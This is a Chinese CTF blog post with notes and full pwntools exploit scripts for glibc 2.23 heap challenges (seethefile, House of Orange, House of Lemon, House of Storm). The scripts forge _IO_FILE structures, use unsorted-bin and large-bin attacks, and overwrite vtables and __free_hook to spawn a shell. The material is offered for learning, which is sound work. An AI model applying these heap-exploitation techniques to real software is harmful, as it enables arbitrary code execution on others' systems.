源码调试

要下载源码得先把sources.list的deb-src开头的注释去掉,更新一下

sudo apt-get update 
sudo apt-get upgrade 

下载源码

sudo apt-get source libc6-dev

会报这么一个错,但是不影响用,暂且不管。

W: Can't drop privileges for downloading as file 'glibc_2.23-0ubuntu11.dsc' couldn't be accessed by user '_apt'. - pkgAcquire::Run (13: Permission denied)

在gdb里运行:

directory ~/glibc/glibc-2.23/malloc/

seethefile-pwnable

这道题目解法就是改虚表。

尚未解决的问题:fd怎么构造?

网上有两种构造方法

法一:fp的前两个字节+/bin/sh //fp的前两个字节有太重要的作用,建议不要动,

'\x86\xb4\xad\xfb'+'||/bin/sh'

但是我这个fd的前俩字节是’\x88\x24\xad\xfb’,我改成我自己的前俩字节,就跑不通了。

法二:????啥???居然能跑通

'\xff\xff\xff\xff;$0\x00'

遇到一个很傻的问题

远程给的maps

本地maps

网上说 /proc/self/maps 可以看libc基址,但是我的为什么不显示?因为我目录深,而程序每次只读0x18f个字节,读两次就能读到libc基址了。

困扰我好久,可能我傻吧

houseoforange

打印结构体的偏移

p &((struct _IO_FILE_plus*)0)->vtable
p &((struct _IO_FILE*)0)->_chain

打印结构体内容

p *_IO_list_all

_IO_FILE相关知识积累

1)       在malloc出错时,会调用malloc_printerr函数来输出错误信息
2)       malloc_printerr又会调用__libc_message
3)       __libc_message又调用abort
4)       abort则又调用了_IO_flush_all_lockp
5)       最后_IO_flush_all_lockp中会调用到vtable中的_IO_OVERFLOW函数

_IO_flush_all_lockp源码如下

题目

build次数共4次,大小限制在0x1000;upgrade共3次,无长度限制溢出,只能更新最近一次build的;有see;无free。

利用

  1. 泄露libc;泄露堆地址:申请largebin大小的块,fd_nextsizebk_nextsize残留在块里,因为目前largebin只有一个,所以都指向自己。
  2. unsorted_bin_attack,改_IO_list_allmain_arena+0x58(unsortedbinmain_arena+0x68)
  3. _IO_file->_chain的偏移是0x68,main_arena+0x58small[0x60]的偏移是0x68,所以把块放到small[0x60]就相当于完全获得了一个_IO_FILE

  1. 构造_IO_FILE,需要满足下面条件:

1)

fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base

或者

_IO_vtable_offset (fp) == 0 
&& fp->_mode > 0 
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

2)vtable->_IO_OVERFLOW要指向system/gadget,指向system的话还要再构造fp开头是'/bin/sh\x00'

exp

from pwn import *
debug=1
context.log_level = 'debug'
if debug:
    io = process('./houseoforange')
else:
    io = remote("",1234)
elf = ELF('./houseoforange')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
s       = lambda data               :io.send(data) 
sa      = lambda data1,data         :io.sendafter(data1, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda data1,data         :io.sendlineafter(data1, data)
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda data1, drop=True  :io.recvuntil(data1, drop)

def build(length,name,price,color): #4
    ru(b'Your choice : ') #malloc(0x10)
    sl('1')
    ru(b'Length of name :') #>0x1000 ->0x1000 malloc(length)
    sl(str(length))
    ru(b'Name :')
    s(name)
    ru(b'Price of Orange:') #calloc(0x8)
    sl(price)
    ru(b'Color of Orange:')
    sl(color)

def see():
    ru(b'Your choice : ')
    sl('2')
    ru(b'Name of house : ')
    hi= ru('\n')
    ru(b'House of Orange')
    return hi

def upg(length,name,price,color): #3
    ru(b'Your choice : ')
    sl('3')
    ru(b'Length of name :')
    sl(str(length))
    ru(b'Name:')
    s(name)#bytes.decode(name,"unicode-escape"))

    ru(b'Price of Orange:')
    sl(price)
    ru(b'Color of Orange:')
    sl(color)



build(12,'123','1','1')

c=p64(0x11111111)*3+p64(0x21)+p32(0x1)+p32(0x1f)+p64(0x0)#info

payload=c+p64(0x0)
payload+=p64(0xfa1)

upg(str(len(payload)),payload,'1','1')
build(0x1000,'123','1','1')

#leak libc
build(0x400,'11111111','1','1')
libc.address=u64((see()[8:]).ljust(8,b'\x00'))-3953032
print(hex(libc.address))
print(hex(libc.symbols['_IO_list_all']))

#leak heap
payload='1'*16
upg(str(len(payload)),payload,'1','1')
heapbase=u64((see()[16:]).ljust(8,b'\x00'))-0xc0
print(hex(heapbase))

#orange
onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
c=p64(0)*3
c+=p64(libc.address+onegadgets[3]) #vtable
c=c.ljust(0x408,b'\x00')
c+=p64(0x21)+p32(0x1)+p32(0x1f)+p64(0x0)#info

iofile=p64(0x0)#b'/bin/sh\x00'  #IOfile / fd
iofile+=p64(0x61)  #offset(_IO_file->_chain)=0x68  (small[0x60]-main_arena+0x58)=0x68
iofile+=p64(libc.address)
iofile+=p64(libc.symbols['_IO_list_all']-0x10)#set _IO_list_all main_arena+0x58
iofile=iofile.ljust(0x20,b'\x00')
iofile+=p64(0)#_IO_file->_IO_write_base
iofile+=p64(1)#_IO_file->_IO_write_ptr
iofile=iofile.ljust(0xc0,b'\x00')
iofile+=p64(0xffffffffffffffff)#_IO_file->mode
iofile=iofile.ljust(0xd8,b'\x00')
iofile+=p64(heapbase+0xd0)#_IO_file->vtable
payload=c+iofile
upg(str(len(payload)),payload,'1','1')

#getshell
ru(b'Your choice : ') #malloc(0x10)
sl('1')

io.interactive()

改进

大佬写的IOFILE构造脚本,因为python3的bytes&str问题我照抄着加了下面的bytes函数。

    def __bytes__(self):
        fake_file = b""
        with context.local(arch=self.arch):
            for item_offset in sorted(self.item_offset):
                if len(fake_file) < item_offset:
                    fake_file += b"\x00"*(item_offset - len(fake_file))
                fake_file += pack(self[_IO_FILE_plus[self.arch][item_offset]],word_size='all')
            fake_file += b"\x00"*(self.size - len(fake_file))
        return fake_file

exp变得清晰多了。

#orange
onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
c=p64(0)*3
c+=p64(libc.address+onegadgets[3]) #vtable
c=c.ljust(0x408,b'\x00')
c+=p64(0x21)+p32(0x1)+p32(0x1f)+p64(0x0)#info
from FILE import *
context.arch = 'amd64'
iofile = IO_FILE_plus_struct()
iofile._flags = u64('/bin/sh\x00')
iofile._IO_read_ptr=0x61
iofile._IO_read_base=libc.symbols['_IO_list_all']-0x10
iofile._IO_write_base=0
iofile._IO_write_ptr=1
iofile._mode=0
iofile.vtable=heapbase+0xd0
payload=c+bytes(iofile)
upg(str(len(payload)),payload,'1','1')

改进2

def house_of_orange(head_addr, system_addr, io_list_all):
    payload = b'/bin/sh\x00'
    payload = payload + p64(0x61) + p64(0) + p64(io_list_all - 16)
    payload = payload + p64(0) + p64(1) + p64(0) * 9 + p64(system_addr) + p64(0) * 4
    payload = payload + p64(head_addr + 18 * 8) + p64(2) + p64(3) + p64(0) + \
            p64(0xffffffffffffffff) + p64(0) * 2 + p64(head_addr + 12 * 8)
    return payload

houseoflemon

题目分析

题目给了十块钱买水果,mayer柠檬6块钱,ponderosa柠檬4块钱,买哪个没区别,但你不能买两个mayer,因为你钱不够:P

第三个功能是advice,可以完成分配(大小十进制的199-8000)、编辑、删除各一次。

买柠檬的信息是一个由一个FILO的双向链表保存,头位于data段。

增加节点代码:

删除节点代码:

而且可以随意修改最新节点的前向指针和后向指针。

这就可以达到一个任意地址写一个固定的值的效果,原理和unsorted_bin_attack一样。利用这一点改global_max_fast,为什么改global_max_fast,因为:

glibc在free的时候,会通过get_max_fast()获取global_max_fast,小于global_max_fast就根据fastbin_index放到fastbinY里。

if ((unsigned long)(size) <= (unsigned long)(get_max_fast())

fastbin_index是这样算的,具体就是(size>>4)-2,例如0x20的index是0,具体的算我也没算,我是调试调出来一个数。

就着写博客就仔细算一波。

main_arena=0x7f6b0ce17b20
stdout=0x7f6b0ce18620
main_arena->fastbinY=0x7f6b0ce17b28
stdout->vtable=0x7f6b0ce186f8
offset=0xbd0
->idx=0xbd0/8=0x17a
->size=0x20+idx*0x10=0x17c0

正好。

from pwn import *
debug=1
context.log_level = 'debug'
if debug==1:
    io = process('./pwn500')
elif debug==0:
    io = remote("",1234)
elf = ELF('./pwn500')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
s       = lambda data               :io.send(data) 
sa      = lambda data1,data         :io.sendafter(data1, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda data1,data         :io.sendlineafter(data1, data)
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda data1, drop=True  :io.recvuntil(data1, drop)

def Meyer(*aa):
    ru('Pls input your choice:')
    sl('1')
    for a in aa:
        ru('Pls Input your choice:')
        sl(str(a))
def Ponderosa(*aa):
    ru('Pls input your choice:')
    sl('2')
    for a in aa:
        ru('Pls Input your choice:')
        sl(str(a))
        if(a==4):
            ru('Get Input:')
            global c
            sl(c)
def Leave(*aa):
    ru('Pls input your choice:')
    sl('3')
    for a in aa:
        r()
        sl(a)
def Submit():
    ru('Pls input your choice:')
    sl('4')
    ru('Pls input your phone number first:')
    s('1'*15)
    ru('Ok,Pls input your home address')
    sl('1'*40)    
    ru(b'OK,your input is:')
    return u64((ru('\x0a')[40:]).ljust(8,b'\x00'))-224912

libc.address=Submit()
print(hex(libc.address))

onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
onegadgets=[283158 ,283242 ,839923 ,840136 ,983716 ,983728 ,987463 ,1009392]
stdout=0x1460+25*16+28*16#0x17c0-8
stderr=0x1460+25*16
#c=b'|sh\x00'.ljust(8,b'\x00')
c=p64(libc.symbols['system'])*30#
#c+=p64(libc.address+onegadgets[1])*30# #vtable


Leave(b'1',str(stdout),'2',c,'4')
c=b'1'*24
c+=p64(libc.address+0x3c67f8-0x10)

#change global_max_fast
Ponderosa(2,4,3,5)

#change stdout->vtable
Leave(b'3')

io.interactive()

这题也就做到这程度了,可能是因为我没有题目对应的libc,以后再回来看。

获取menu脚本

因为懒得每次都手打目录,就写了个脚本。

pattern = re.compile(b'\d\..+')
mainmenu = pattern.findall(r())
ask="Command:"
response='20'
pattern_fun=re.compile(b'\w+')
if mainmenu:
    for item in mainmenu[:-1]:
        function="def {0}(a):\n\tru('{1}')\n\tsl('{2}')\n".format(bytes.decode(pattern_fun.findall(item[2:])[0]),ask,bytes.decode(item[0:1]))
        sl(item[0:1])
        while(True):
            receive = r()
            if(pattern.findall(receive)!=mainmenu):
            #submenu = pattern.findall(receive)
            #if submenu:
            #    print(submenu)
                sl(response)
                function+="\tru('{0}')\n".format(bytes.decode(receive))
                function+="\tsl(str(a))"
            else:
                break
        print(function)    
else:
    print("error")

效果就是这样,但感觉实在没法通用。

houseofstorm

预备知识

__libc_mallopt

int __libc_mallopt(int param_number, int value)

//param_number取值
#define M_MXFAST 1

mallopt(1,0)就相当于大小小于0的块被放到fastbin里,也就是说fastbin完全禁用。

题目分析

在0x13370000处分配了一块0x1000大小的内存,然后在0x13370800读入三个随机数,之后分配得到的addr要和第一个随机数异或后存储,读取时和第一个随机数异或后读取;size和第二个随机数同理。

update里有offbynull。

view需要在特定地址写入特定值才可用。

allocate大小在(0xc,0x1000]之间,用的是calloc;delete是无漏洞的delete。

利用分析

from pwn import *
debug=1
#context.log_level = 'debug'
if debug:
    io = process('./heapstorm.dms')
else:
    io = remote("",1234)
elf = ELF('./heapstorm.dms')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
s       = lambda data               :io.send(data) 
sa      = lambda data1,data         :io.sendafter(data1, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda data1,data         :io.sendlineafter(data1, data)
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda data1, drop=True  :io.recvuntil(data1, drop)

def Allocate(a):
    ru('Command:')
    sl('1')
    ru('Size: ')
    sl(str(a))
def Update(a,b,c):
    ru('Command:')
    sl('2')
    ru('Index: ')
    sl(str(a))
    ru('Size: ')
    sl(str(b))
    ru('Content: ')
    s(c)
def Delete(a):
    ru('Command:')
    sl('3')
    ru('Index: ')
    sl(str(a))
def View(a):
    ru('Command:')
    sl('4')
    ru('Index: ')
    sl(str(a))
Allocate(0x90-8) #uns0
Allocate(0x520-8)#1
Allocate(0x90-8)#2
Allocate(0x20-8)#3
Allocate(0x90-8)#4
Allocate(0x520-8)#5
Allocate(0x90-8)#6
Allocate(0x20-8)#7
Allocate(0x410-8)#8
Allocate(0x20-8)#9
Allocate(0x410-8)#10

#fisrt overlap
Update(1,0x500,b"1"*(0x4f0)+p64(0x500)+p64(0xa1))
Delete(1)
Update(0,0x90-8-12,b"1"*(0x90-8-12))
Allocate(0x40-8)#1
Delete(1)
Delete(2)
Allocate(0x4c0-8)#1 in control
Allocate(0x5b0-8)#2
c=b"1"*(0x40-8)+p64(0x4c1)+b'1'*(0x4c0-8)+p64(23*16-0xc0+1)
Update(2,len(c),c)

#second overlap
Update(5,0x500,b"1"*(0x4f0)+p64(0x500)+p64(0xa1))
Delete(5)
Update(4,0x90-8-12,b"1"*(0x90-8-12))
Allocate(0x40-8)#5
Delete(5)
Delete(6)
Allocate(0x4c0-8)#5 in control
Allocate(0x5b0-8)#6
c=b"1"*(0x40-8)+p64(0x4c1)+b'1'*(0x4c0-8)+p64(23*16-0xc0+1)
Update(6,len(c),c)


#largebin attack -->fake chunk(0x133707f0)
Delete(1)
Allocate(0x600-8)#1 cosolidate
c=b"1"*(0x40-8)+p64(0x4c1)
c+=p64(0)
c+=p64(0x13370800-0x10+3-16)#size
c+=p64(0)
c+=p64(0x13370808-0x20)#bk
c+=b'1'*(0x4c0-8-16-16-8)+p64(0x4c0)+p64(23*16-0xc0)
Update(2,len(c),c)

#a bigger freed chunk in unsorted bin
#bk->fake chunk(0x133707f0)
Delete(5)
c=b"1"*(0x40-8)+p64(0x4d1)
c+=p64(0x0)
c+=p64(0x13370800-0x10)#bk
c+=b'1'*(0x4d0-8)+p64(0x4d0)+p64(23*16-0xc0-16)
Update(6,len(c),c)

#1.largebin attack ->fake chunk(0x133707f0) size=0x56
#2.alloc(0x133707f0)
Allocate(0x50-8)#5

c=p64(0)*3
c+=p64(0x13377331)
c+=p64(0x13370870)#0
c+=p64(0x100)
Update(5,len(c),c)

#leak libc
View(0)
ru(b"Chunk[0]: ")
rc=r(16)
heapbase=u64(rc[8:16])-0x778
log.success(hex(heapbase))

#leak heap
c=p64(0x13370800)#5
c+=p64(0x100)
c+=p64(heapbase+0x740)#6
c+=p64(0x500)
Update(0,len(c),c)
View(6)
ru(b"Chunk[6]: ")
rc=r(16)
libc.address=u64(rc[0:8])-3953032+1552
log.success(hex(libc.address))

#free_hook to shell
onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
c=p64(0)*3
c+=p64(0x13377331)
c+=p64(libc.symbols['__free_hook'])#0
c+=p64(0x100)
c+=p64(heapbase+0x740)#6
c+=p64(0x500)
Update(5,len(c),c)
c=p64(libc.address+onegadgets[1])
Update(0,len(c),c)
Delete(1)
io.interactive()

在0x133707f0处写入的size是堆的高两位,它会是0x55/0x56,但是必须得是0x56,因为calloc会报错,报错代码在图中第一行:

汇编如下:

源码如下:

mem = _int_malloc (av, sz);
assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
          av == arena_for_chunk (mem2chunk (mem)));

以上3个条件必须有一个满足才行。

#define arena_for_chunk(ptr) \
  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)

因为0x55和0x56的都有NON_MAIN_ARENA(0x4)位,而返回的chunk又不在arena的堆空间里,所以第3个条件是不能满足的。那么只有满足第2个了,chunk的mmap标志位置位,也就是只有heap address start with 0x56的情况下才行。否则assert失败,程序退出。

参考链接https://github.com/willinin/0ctf2018/blob/master/heapstorm2/heapstorm2.md

getshell

迷惑

我很迷惑为什么2.23会报这个错呢?明明没这行代码的。

收获

在unsortedbin里找块的时候找大小相等的,相等就return,剩下的还待在unsortedbin里。

后记

今天想自己搭一个那啥。

https://233v2.com/post/16/

vultr的ip很容易被ban不知道为什么,然后换了谷歌云,上来就给了两千多。

一开始还以为是刀乐,结果其实是港币。港币那也是白给:P

好像最多开12个CPU,开心了。